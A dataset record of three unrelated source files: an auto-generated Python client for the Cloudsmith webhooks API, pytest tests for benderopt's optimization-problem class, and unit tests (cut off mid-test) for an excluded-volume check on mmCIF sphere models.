bindings/python/src/cloudsmith_api/apis/webhooks_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 8
|
2019-01-08T22:06:12.000Z
|
2022-03-16T15:02:37.000Z
|
bindings/python/src/cloudsmith_api/apis/webhooks_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 1
|
2021-12-06T19:08:05.000Z
|
2021-12-06T19:08:05.000Z
|
# coding: utf-8
"""
Cloudsmith API
The API to the Cloudsmith Service
OpenAPI spec version: v1
Contact: support@cloudsmith.io
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class WebhooksApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def webhooks_create(self, owner, repo, **kwargs):
"""
Create a specific webhook in a repository.
Create a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_create(owner, repo, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param WebhooksCreate data:
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.webhooks_create_with_http_info(owner, repo, **kwargs)
else:
(data) = self.webhooks_create_with_http_info(owner, repo, **kwargs)
return data
def webhooks_create_with_http_info(self, owner, repo, **kwargs):
"""
Create a specific webhook in a repository.
Create a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_create_with_http_info(owner, repo, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param WebhooksCreate data:
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['owner', 'repo', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method webhooks_create" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'owner' is set
if ('owner' not in params) or (params['owner'] is None):
raise ValueError("Missing the required parameter `owner` when calling `webhooks_create`")
# verify the required parameter 'repo' is set
if ('repo' not in params) or (params['repo'] is None):
raise ValueError("Missing the required parameter `repo` when calling `webhooks_create`")
collection_formats = {}
path_params = {}
if 'owner' in params:
path_params['owner'] = params['owner']
if 'repo' in params:
path_params['repo'] = params['repo']
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/webhooks/{owner}/{repo}/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RepositoryWebhook',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def webhooks_delete(self, owner, repo, identifier, **kwargs):
"""
Delete a specific webhook in a repository.
Delete a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_delete(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.webhooks_delete_with_http_info(owner, repo, identifier, **kwargs)
else:
(data) = self.webhooks_delete_with_http_info(owner, repo, identifier, **kwargs)
return data
def webhooks_delete_with_http_info(self, owner, repo, identifier, **kwargs):
"""
Delete a specific webhook in a repository.
Delete a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_delete_with_http_info(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['owner', 'repo', 'identifier']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method webhooks_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'owner' is set
if ('owner' not in params) or (params['owner'] is None):
raise ValueError("Missing the required parameter `owner` when calling `webhooks_delete`")
# verify the required parameter 'repo' is set
if ('repo' not in params) or (params['repo'] is None):
raise ValueError("Missing the required parameter `repo` when calling `webhooks_delete`")
# verify the required parameter 'identifier' is set
if ('identifier' not in params) or (params['identifier'] is None):
raise ValueError("Missing the required parameter `identifier` when calling `webhooks_delete`")
collection_formats = {}
path_params = {}
if 'owner' in params:
path_params['owner'] = params['owner']
if 'repo' in params:
path_params['repo'] = params['repo']
if 'identifier' in params:
path_params['identifier'] = params['identifier']
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/webhooks/{owner}/{repo}/{identifier}/', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def webhooks_list(self, owner, repo, **kwargs):
"""
Get a list of all webhooks in a repository.
Get a list of all webhooks in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_list(owner, repo, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param int page: A page number within the paginated result set.
:param int page_size: Number of results to return per page.
:return: list[RepositoryWebhook]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.webhooks_list_with_http_info(owner, repo, **kwargs)
else:
(data) = self.webhooks_list_with_http_info(owner, repo, **kwargs)
return data
def webhooks_list_with_http_info(self, owner, repo, **kwargs):
"""
Get a list of all webhooks in a repository.
Get a list of all webhooks in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_list_with_http_info(owner, repo, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param int page: A page number within the paginated result set.
:param int page_size: Number of results to return per page.
:return: list[RepositoryWebhook]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['owner', 'repo', 'page', 'page_size']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method webhooks_list" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'owner' is set
if ('owner' not in params) or (params['owner'] is None):
raise ValueError("Missing the required parameter `owner` when calling `webhooks_list`")
# verify the required parameter 'repo' is set
if ('repo' not in params) or (params['repo'] is None):
raise ValueError("Missing the required parameter `repo` when calling `webhooks_list`")
collection_formats = {}
path_params = {}
if 'owner' in params:
path_params['owner'] = params['owner']
if 'repo' in params:
path_params['repo'] = params['repo']
query_params = []
if 'page' in params:
query_params.append(('page', params['page']))
if 'page_size' in params:
query_params.append(('page_size', params['page_size']))
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/webhooks/{owner}/{repo}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[RepositoryWebhook]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def webhooks_partial_update(self, owner, repo, identifier, **kwargs):
"""
Update a specific webhook in a repository.
Update a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_partial_update(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:param WebhooksPartialUpdate data:
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.webhooks_partial_update_with_http_info(owner, repo, identifier, **kwargs)
else:
(data) = self.webhooks_partial_update_with_http_info(owner, repo, identifier, **kwargs)
return data
def webhooks_partial_update_with_http_info(self, owner, repo, identifier, **kwargs):
"""
Update a specific webhook in a repository.
Update a specific webhook in a repository.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_partial_update_with_http_info(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:param WebhooksPartialUpdate data:
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['owner', 'repo', 'identifier', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method webhooks_partial_update" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'owner' is set
if ('owner' not in params) or (params['owner'] is None):
raise ValueError("Missing the required parameter `owner` when calling `webhooks_partial_update`")
# verify the required parameter 'repo' is set
if ('repo' not in params) or (params['repo'] is None):
raise ValueError("Missing the required parameter `repo` when calling `webhooks_partial_update`")
# verify the required parameter 'identifier' is set
if ('identifier' not in params) or (params['identifier'] is None):
raise ValueError("Missing the required parameter `identifier` when calling `webhooks_partial_update`")
collection_formats = {}
path_params = {}
if 'owner' in params:
path_params['owner'] = params['owner']
if 'repo' in params:
path_params['repo'] = params['repo']
if 'identifier' in params:
path_params['identifier'] = params['identifier']
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/webhooks/{owner}/{repo}/{identifier}/', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RepositoryWebhook',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def webhooks_read(self, owner, repo, identifier, **kwargs):
"""
Views for working with repository webhooks.
Views for working with repository webhooks.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_read(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.webhooks_read_with_http_info(owner, repo, identifier, **kwargs)
else:
(data) = self.webhooks_read_with_http_info(owner, repo, identifier, **kwargs)
return data
def webhooks_read_with_http_info(self, owner, repo, identifier, **kwargs):
"""
Views for working with repository webhooks.
Views for working with repository webhooks.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.webhooks_read_with_http_info(owner, repo, identifier, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str owner: (required)
:param str repo: (required)
:param str identifier: (required)
:return: RepositoryWebhook
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['owner', 'repo', 'identifier']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method webhooks_read" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'owner' is set
if ('owner' not in params) or (params['owner'] is None):
raise ValueError("Missing the required parameter `owner` when calling `webhooks_read`")
# verify the required parameter 'repo' is set
if ('repo' not in params) or (params['repo'] is None):
raise ValueError("Missing the required parameter `repo` when calling `webhooks_read`")
# verify the required parameter 'identifier' is set
if ('identifier' not in params) or (params['identifier'] is None):
raise ValueError("Missing the required parameter `identifier` when calling `webhooks_read`")
collection_formats = {}
path_params = {}
if 'owner' in params:
path_params['owner'] = params['owner']
if 'repo' in params:
path_params['repo'] = params['repo']
if 'identifier' in params:
path_params['identifier'] = params['identifier']
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/webhooks/{owner}/{repo}/{identifier}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RepositoryWebhook',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 42.627451
| 116
| 0.570301
| 2,651
| 26,088
| 5.431535
| 0.066013
| 0.055559
| 0.036114
| 0.025002
| 0.952149
| 0.946524
| 0.941593
| 0.934648
| 0.930759
| 0.927564
| 0
| 0.000234
| 0.345983
| 26,088
| 611
| 117
| 42.697218
| 0.843688
| 0.326012
| 0
| 0.76
| 1
| 0
| 0.184796
| 0.038512
| 0
| 0
| 0
| 0
| 0
| 1
| 0.036667
| false
| 0
| 0.023333
| 0
| 0.113333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
68f6893d121c02eb0fd01fcf6d59e4909b388214
| 6,233
|
py
|
Python
|
benderopt/tests/base/test_optimization_problem.py
|
tchar/benderopt
|
83a6bbb9c5732f6232c1a1bbc971f8022a975a28
|
[
"MIT"
] | 66
|
2019-01-08T14:34:21.000Z
|
2020-10-22T00:54:58.000Z
|
benderopt/tests/base/test_optimization_problem.py
|
tchar/benderopt
|
83a6bbb9c5732f6232c1a1bbc971f8022a975a28
|
[
"MIT"
] | 4
|
2019-03-03T19:17:26.000Z
|
2020-10-22T18:37:30.000Z
|
benderopt/tests/base/test_optimization_problem.py
|
tchar/benderopt
|
83a6bbb9c5732f6232c1a1bbc971f8022a975a28
|
[
"MIT"
] | 5
|
2019-04-29T03:28:54.000Z
|
2020-10-22T19:45:40.000Z
|
from benderopt.base import OptimizationProblem, Parameter, Observation
from benderopt.utils import get_test_optimization_problem
from benderopt.validation.utils import ValidationError
import pytest
def test_optimization_problem():
parameter1 = Parameter(
name="param1", category="categorical", search_space={"values": ["a", "b"]}
)
parameter2 = Parameter(name="param2", category="uniform", search_space={"low": 1, "high": 2})
parameters = [parameter1, parameter2]
optimization_problem = OptimizationProblem(parameters)
observation1 = Observation(sample={"param1": "a", "param2": 1.5}, loss=1.5)
optimization_problem.add_observation(observation1)
observation2 = Observation(sample={"param1": "b", "param2": 1.8}, loss=1.8)
optimization_problem.add_observation(observation2)
observation3 = Observation(sample={"param1": "b", "param2": 1.05}, loss=0.1)
optimization_problem.add_observation(observation3)
assert type(optimization_problem.parameters) == list
assert len(optimization_problem.observations) == 3
assert optimization_problem.parameters_name == set(["param1", "param2"])
assert observation1.sample in optimization_problem.samples
assert len(optimization_problem.samples) == 3
assert optimization_problem.best_sample == {"param1": "b", "param2": 1.05}
assert optimization_problem.sorted_observations[0].sample == {"param1": "b", "param2": 1.05}
assert optimization_problem.finite is False
assert len(optimization_problem.find_observations({"param1": "b", "param2": 1.05})) == 1
a, b = optimization_problem.observations_quantile(0.5)
assert len(a) == 1
assert len(b) == 2
assert optimization_problem.get_best_k_samples(1)[0].sample == {"param1": "b", "param2": 1.05}
def test_optimization_problem_from_list():
optimization_problem = OptimizationProblem.from_list(
[
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}},
{"name": "param2", "category": "uniform", "search_space": {"low": 1, "high": 2}},
]
)
optimization_problem.add_observations_from_list(
[
{"loss": 1.5, "sample": {"param1": "a", "param2": 1.5}},
{"loss": 1.8, "sample": {"param1": "b", "param2": 1.8}},
{"loss": 0.1, "sample": {"param1": "b", "param2": 1.05}},
],
raise_exception=True,
)
assert type(optimization_problem.parameters) == list
assert len(optimization_problem.observations) == 3
assert optimization_problem.parameters_name == set(["param1", "param2"])
assert {"param1": "b", "param2": 1.8} in optimization_problem.samples
assert len(optimization_problem.samples) == 3
assert optimization_problem.best_sample == {"param1": "b", "param2": 1.05}
assert optimization_problem.sorted_observations[0].sample == {"param1": "b", "param2": 1.05}
assert optimization_problem.finite is False
assert len(optimization_problem.find_observations({"param1": "b", "param2": 1.05})) == 1
a, b = optimization_problem.observations_quantile(0.5)
assert len(a) == 1
assert len(b) == 2
assert optimization_problem.get_best_k_samples(1)[0].sample == {"param1": "b", "param2": 1.05}
def test_optimization_problem_from_json():
get_test_optimization_problem()
def test_optimization_problem_bad_param():
with pytest.raises(ValidationError):
OptimizationProblem("lol")
def test_optimization_problem_bad_param_type():
with pytest.raises(ValidationError):
OptimizationProblem(["lol"])
def test_optimization_problem_add_bad_type():
with pytest.raises(ValidationError):
OptimizationProblem.from_list(
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}}
)
def test_optimization_problem_add_bad_observation():
optimization_problem = OptimizationProblem.from_list(
[
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}},
{"name": "param2", "category": "uniform", "search_space": {"low": 1, "high": 2}},
]
)
observation2 = Observation(sample={"lol": "b", "param2": 1.8}, loss=1.8)
with pytest.raises(ValidationError):
optimization_problem.add_observation(observation2)
def test_optimization_problem_from_list_bad_type():
optimization_problem = OptimizationProblem.from_list(
[
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}},
{"name": "param2", "category": "uniform", "search_space": {"low": 1, "high": 2}},
]
)
with pytest.raises(ValidationError):
optimization_problem.add_observations_from_list("lol", raise_exception=True)
def test_optimization_problem_from_list_bad_sample_name():
optimization_problem = OptimizationProblem.from_list(
[
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}},
{"name": "param2", "category": "uniform", "search_space": {"low": 1, "high": 2}},
]
)
with pytest.raises(ValidationError):
optimization_problem.add_observations_from_list(
[
{"loss": 1.5, "sample": {"param1": "a", "param2": 1.5}},
{"loss": 1.8, "sample": {"lol": "b", "param2": 1.8}},
{"loss": 0.1, "sample": {"param1": "b", "param2": 1.05}},
],
raise_exception=True,
)
def test_optimization_problem_from_list_bad_value():
optimization_problem = OptimizationProblem.from_list(
[
{"name": "param1", "category": "categorical", "search_space": {"values": ["a", "b"]}},
{"name": "param2", "category": "uniform", "search_space": {"low": 1, "high": 2}},
]
)
with pytest.raises(ValidationError):
optimization_problem.add_observations_from_list(
[
{"loss": 1.5, "sample": {"param1": "c", "param2": 1.5}},
{"loss": 1.8, "sample": {"lol": "b", "param2": 1.8}},
{"loss": 0.1, "sample": {"param1": "b", "param2": 1.05}},
],
raise_exception=True,
)
| 42.691781
| 98
| 0.635168
| 682
| 6,233
| 5.592375
| 0.105572
| 0.239119
| 0.037756
| 0.05506
| 0.852124
| 0.830362
| 0.786576
| 0.748034
| 0.741217
| 0.728631
| 0
| 0.036978
| 0.197337
| 6,233
| 145
| 99
| 42.986207
| 0.725365
| 0
| 0
| 0.52459
| 0
| 0
| 0.153859
| 0
| 0
| 0
| 0
| 0
| 0.196721
| 1
| 0.081967
| false
| 0
| 0.032787
| 0
| 0.114754
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
68fa17a5336c1427a81f33be81f67bc5471a8456
| 7,000
|
py
|
Python
|
tests/test_get_excluded_volume.py
|
salilab/IHMValidation
|
ddf1a080a4b7f66c2f067312f5f4a5c6584848d1
|
[
"MIT"
] | null | null | null |
tests/test_get_excluded_volume.py
|
salilab/IHMValidation
|
ddf1a080a4b7f66c2f067312f5f4a5c6584848d1
|
[
"MIT"
] | 23
|
2020-12-09T22:27:29.000Z
|
2022-03-30T18:01:43.000Z
|
tests/test_get_excluded_volume.py
|
salilab/IHMValidation
|
ddf1a080a4b7f66c2f067312f5f4a5c6584848d1
|
[
"MIT"
] | 1
|
2022-03-21T22:55:24.000Z
|
2022-03-21T22:55:24.000Z
|
import os,sys,glob
import unittest
import pandas as pd
from io import StringIO, BytesIO
sys.path.insert(0, "../master/pyext/src/")
from validation import get_input_information,utility
from validation.excludedvolume import get_excluded_volume
import warnings
def ignore_warnings(test_func):
def do_test(self, *args, **kwargs):
with warnings.catch_warnings():
warnings.simplefilter("ignore", ResourceWarning)
test_func(self, *args, **kwargs)
return do_test
class Testing(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(Testing, self).__init__(*args, **kwargs)
self.mmcif_test_file='test.cif'
self.IO=get_excluded_volume(self.mmcif_test_file)
def test_get_all_spheres(self):
fh = StringIO("""
loop_
_ihm_model_list.model_id
_ihm_model_list.model_name
_ihm_model_list.assembly_id
_ihm_model_list.protocol_id
_ihm_model_list.representation_id
1 . 1 1 1
#
loop_
_ihm_model_group.id
_ihm_model_group.name
_ihm_model_group.details
1 "Cluster 1" .
#
loop_
_ihm_model_group_link.group_id
_ihm_model_group_link.model_id
1 1
#
loop_
_ihm_sphere_obj_site.id
_ihm_sphere_obj_site.entity_id
_ihm_sphere_obj_site.seq_id_begin
_ihm_sphere_obj_site.seq_id_end
_ihm_sphere_obj_site.asym_id
_ihm_sphere_obj_site.Cartn_x
_ihm_sphere_obj_site.Cartn_y
_ihm_sphere_obj_site.Cartn_z
_ihm_sphere_obj_site.object_radius
_ihm_sphere_obj_site.rmsf
_ihm_sphere_obj_site.model_id
1 1 1 6 A 389.993 145.089 134.782 4.931 0 1
2 1 7 7 B 406.895 142.176 135.653 3.318 1.34 1
""")
self.assertEqual(1,len(list(self.IO.get_all_spheres(filetemp=fh).keys())))
def test_get_XYZ(self):
fh = StringIO("""
loop_
_ihm_model_list.model_id
_ihm_model_list.model_name
_ihm_model_list.assembly_id
_ihm_model_list.protocol_id
_ihm_model_list.representation_id
1 . 1 1 1
#
loop_
_ihm_model_group.id
_ihm_model_group.name
_ihm_model_group.details
1 "Cluster 1" .
#
loop_
_ihm_model_group_link.group_id
_ihm_model_group_link.model_id
1 1
#
loop_
_ihm_sphere_obj_site.id
_ihm_sphere_obj_site.entity_id
_ihm_sphere_obj_site.seq_id_begin
_ihm_sphere_obj_site.seq_id_end
_ihm_sphere_obj_site.asym_id
_ihm_sphere_obj_site.Cartn_x
_ihm_sphere_obj_site.Cartn_y
_ihm_sphere_obj_site.Cartn_z
_ihm_sphere_obj_site.object_radius
_ihm_sphere_obj_site.rmsf
_ihm_sphere_obj_site.model_id
1 1 1 6 A 389.993 145.089 134.782 4.931 0 1
2 1 7 7 B 406.895 142.176 135.653 3.318 1.34 1
""")
model_dict=self.IO.get_all_spheres(filetemp=fh)
list_of_sphere_list=list(model_dict.values())
xyz_df=self.IO.get_xyzr(list_of_sphere_list[0])
self.assertEqual(406.895,xyz_df.iloc[0,1])
def test_get_violation_dict(self):
fh = StringIO("""
loop_
_ihm_model_list.model_id
_ihm_model_list.model_name
_ihm_model_list.assembly_id
_ihm_model_list.protocol_id
_ihm_model_list.representation_id
1 . 1 1 1
#
loop_
_ihm_model_group.id
_ihm_model_group.name
_ihm_model_group.details
1 "Cluster 1" .
#
loop_
_ihm_model_group_link.group_id
_ihm_model_group_link.model_id
1 1
#
loop_
_ihm_sphere_obj_site.id
_ihm_sphere_obj_site.entity_id
_ihm_sphere_obj_site.seq_id_begin
_ihm_sphere_obj_site.seq_id_end
_ihm_sphere_obj_site.asym_id
_ihm_sphere_obj_site.Cartn_x
_ihm_sphere_obj_site.Cartn_y
_ihm_sphere_obj_site.Cartn_z
_ihm_sphere_obj_site.object_radius
_ihm_sphere_obj_site.rmsf
_ihm_sphere_obj_site.model_id
1 1 1 6 A 389.993 145.089 134.782 4.931 0 1
2 1 7 7 B 406.895 142.176 135.653 3.318 1.34 1
""")
check_xyz={1:[389.993,145.089,134.782,4.931],\
2:[406.895,142.176,135.653,3.318]}
check_xyz_df = pd.DataFrame(data=check_xyz,index=['X','Y','Z','R'])
model_dict=self.IO.get_all_spheres(filetemp=fh)
list_of_sphere_list=list(model_dict.values())
xyz_df=self.IO.get_xyzr(list_of_sphere_list[0])
self.assertEqual(check_xyz_df.values.tolist(),xyz_df.values.tolist())
add_chain={1:['A',1],2:['B',1]}
add_chain_df = pd.DataFrame(data=add_chain,index=['Chain_ID','Model_ID'])
fin=pd.concat([check_xyz_df,add_chain_df])
xyz_complete_df=self.IO.get_xyzr_complete(model_ID=1,spheres=list_of_sphere_list[0])
self.assertEqual(fin.values.tolist(),xyz_complete_df.values.tolist())
viol_dict=self.IO.get_violation_dict(xyz_df)
self.assertEqual({1: 0.0},self.IO.get_violation_dict(xyz_df))
perc_satisfied=self.IO.get_violation_percentage(models_spheres_df=xyz_df,viols=viol_dict)
self.assertEqual(100.0,perc_satisfied)
def test_get_violation_others(self):
fh = StringIO("""
loop_
_ihm_model_list.model_id
_ihm_model_list.model_name
_ihm_model_list.assembly_id
_ihm_model_list.protocol_id
_ihm_model_list.representation_id
1 . 1 1 1
#
loop_
_ihm_model_group.id
_ihm_model_group.name
_ihm_model_group.details
1 "Cluster 1" .
#
loop_
_ihm_model_group_link.group_id
_ihm_model_group_link.model_id
1 1
#
loop_
_ihm_sphere_obj_site.id
_ihm_sphere_obj_site.entity_id
_ihm_sphere_obj_site.seq_id_begin
_ihm_sphere_obj_site.seq_id_end
_ihm_sphere_obj_site.asym_id
_ihm_sphere_obj_site.Cartn_x
_ihm_sphere_obj_site.Cartn_y
_ihm_sphere_obj_site.Cartn_z
_ihm_sphere_obj_site.object_radius
_ihm_sphere_obj_site.rmsf
_ihm_sphere_obj_site.model_id
1 1 1 6 A 389.993 145.089 134.782 4.931 0 1
2 1 7 7 B 389.895 142.176 135.653 3.318 1.34 1
""")
model_dict=self.IO.get_all_spheres(filetemp=fh)
list_of_sphere_list=list(model_dict.values())
xyz_df=self.IO.get_xyzr(list_of_sphere_list[0])
viol_dict=self.IO.get_violation_dict(xyz_df)
self.assertEqual({1: 1.0},viol_dict)
perc_satisfied=self.IO.get_violation_percentage(models_spheres_df=xyz_df,viols=viol_dict)
self.assertEqual(0.0,perc_satisfied)
def test_violatio_multiple_models(self):
fh = StringIO("""
loop_
_ihm_model_list.model_id
_ihm_model_list.model_name
_ihm_model_list.assembly_id
_ihm_model_list.protocol_id
_ihm_model_list.representation_id
1 . 1 1 1
2 . 1 1 1
#
loop_
_ihm_model_group.id
_ihm_model_group.name
_ihm_model_group.details
1 "Cluster 1" .
2 "Cluster 2" .
#
loop_
_ihm_model_group_link.group_id
_ihm_model_group_link.model_id
1 1
2 2
#
loop_
_ihm_sphere_obj_site.id
_ihm_sphere_obj_site.entity_id
_ihm_sphere_obj_site.seq_id_begin
_ihm_sphere_obj_site.seq_id_end
_ihm_sphere_obj_site.asym_id
_ihm_sphere_obj_site.Cartn_x
_ihm_sphere_obj_site.Cartn_y
_ihm_sphere_obj_site.Cartn_z
_ihm_sphere_obj_site.object_radius
_ihm_sphere_obj_site.rmsf
_ihm_sphere_obj_site.model_id
1 1 1 6 A 389.993 145.089 134.782 4.931 0 1
2 1 7 7 B 389.895 142.176 135.653 3.318 1.34 1
3 1 1 6 A 489.993 145.089 134.782 4.931 0 2
